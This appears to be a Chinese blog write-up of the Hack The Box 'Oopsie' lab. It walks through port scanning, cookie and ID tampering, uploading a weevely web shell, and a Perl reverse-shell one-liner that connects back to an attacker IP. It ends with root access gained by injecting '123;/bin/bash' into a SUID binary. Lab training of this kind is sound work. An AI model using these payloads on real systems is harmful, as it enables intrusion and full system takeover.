HTB-Oopsie

正文

User

扫一下端口趴

sudo nmap -sS -A -Pn 10.10.10.28

 这个有个80端口开放着尝试访问一下网站,发现了一个登录入口

上sqlmap打一下,当然不用尝试了,打了一下午没打通,dirseacrh也没有什么结果,查了wp才知道这里的密码跟上一题通用的:admin,MEGACORP_4dm1n!! (实属吐血,)

sqlmap -u http://10.10.10.28/cdn-cgi/login/ --data "username=123&password=123" --dbs --tables --columns --os-shell

登录后提示要用super admin的权限才能进行下一步,如何用超级管理员登录?这里想到的是用它的cookie,查看当前的cookie

只用两个cookie而且还是明文传输的,这里的user的值与Access ID一样,回到这个页面,观察到它的 URL:http://10.10.10.28/cdn-cgi/login/admin.php?content=accounts&id=1,其中有很可疑的参数 id=1(来了该死的玄学)

把这个id丢到burp中爆破一下,到30的时候出现了超级用户的role:86575

 修改cookie后成功上来,看到一个上传,试试可以不可以传一个后门

 后门用的是weely生成的 :weevely generate laolao back.php

lao@laolao:~/桌面$ weevely 

[+] weevely 4.0.1
[!] Error: the following arguments are required: url, password

[+] Run terminal or command on the target
    weevely <URL> <password> [cmd]

[+] Recover an existing session
    weevely session <path> [cmd]

[+] Generate new agent
    weevely generate <password> <path>

lao@laolao:~/桌面$ weevely generate laolao back.php
Generated 'index.php' with password 'laolao' of 751 byte size.
lao@laolao:~/桌面$ 

上传后,在/home里面找到了第一份flag,但是后门总是被删,这一点比较烦

lao@laolao:~/桌面$ weevely http://10.10.10.28/uploads/back.php laolao

[+] weevely 4.0.1

[+] Target:     www-data@oopsie:/var/www/html/uploads
[+] Session:    /home/lao/.weevely/sessions/10.10.10.28/back_0.session
[+] Shell:      System shell

[+] Browse the filesystem or execute commands starts the connection
[+] to the target. Type :help for more information.

weevely> 
www-data@oopsie:/var/www/html/uploads $ cd
www-data@oopsie:/ $ cd home
www-data@oopsie:/home $ ls
robert
www-data@oopsie:/home $ cd robert
www-data@oopsie:/home/robert $ ls
user.txt
www-data@oopsie:/home/robert $ cat user.txt
f2c74ee8db7983851ab2a96a44eb7981
www-data@oopsie:/home/robert $ 

System

然后逛一逛整个网站,在db.php中发现了另一个用户robert和他的密码:M3g4C0rpUs3r!

www-data@oopsie:/var/www/html/cdn-cgi $                                                                           
www-data@oopsie:/var/www/html/cdn-cgi $ cd login
www-data@oopsie:/var/www/html/cdn-cgi/login $ ls                                                                  
admin.php                                                                                                         
db.php                                                                                                            
index.php                                                                                                         
script.js                                                                                                         
www-data@oopsie:/var/www/html/cdn-cgi/login $ cat db.php
<?php                                                                                                             
$conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage');                                            
?>                                                                                                                
www-data@oopsie:/var/www/html/cdn-cgi/login $ su robert
su: must be run from a terminal 

weevely中不可以切换用户,于是想到反弹shell,我选择的是Perl来反弹,这个的成功率高一点,payload如下:

perl -e 'use Socket;$i="10.10.14.115";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

直接丢到weevely中执行以下,另一边nc开启监听,得到的反弹shell要把它转换成一个交互式shell才能切换用户(设置shell为/bin/bash,script 命令可以用作交互终端会话过程的记录,保留用户输入和系统输出的全过程。-q 是静默执行 把会话内容丢到黑洞/dev/null):

SHELL=/bin/bash script -q /dev/null

 在查看Robert用户的属性时发现了一个特殊的用户组:bugtracker,检查一下,发现了一个:cat  /root/reports/,可以有root的权限,访问root用户的文件夹!!!

robert@oopsie:/var/www/html/cdn-cgi/login$ id
id
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)

robert@oopsie:/var/www/html/cdn-cgi/login$ strings /usr/bin/bugtracker strings /usr/bin/bugtracker /lib64/ld-linux-x86-64.so.2 ..... ------------------ : EV Bug Tracker : ------------------ Provide Bug ID: --------------- cat /root/reports/ ;*3$" GCC: (Ubuntu 7.4.0-1ubuntu1~18.04.1) 7.4.0 ........

那么就做一个指令叠加获得root的shell:123;/bin/bash

robert@oopsie:/var/www/html/cdn-cgi/login$ bugtracker
bugtracker

------------------
: EV Bug Tracker :
------------------

Provide Bug ID: 123;/bin/bash 
123;/bin/bash 
---------------

cat: /root/reports/123: No such file or directory
root@oopsie:/var/www/html/cdn-cgi/login# cd /root
cd /root
root@oopsie:/root# ls
ls
reports  root.txt
root@oopsie:/root# cat root.txt 
cat root.txt
af13b0bee69f8a877c3faf667f7beacf

参考

https://brucetg.github.io/2018/05/03/%E5%A4%9A%E7%A7%8D%E5%A7%BF%E5%8A%BF%E5%8F%8D%E5%BC%B9shell/

 

posted @ 2021-08-10 18:49  东坡肉肉君  阅读(170)  评论(0编辑  收藏  举报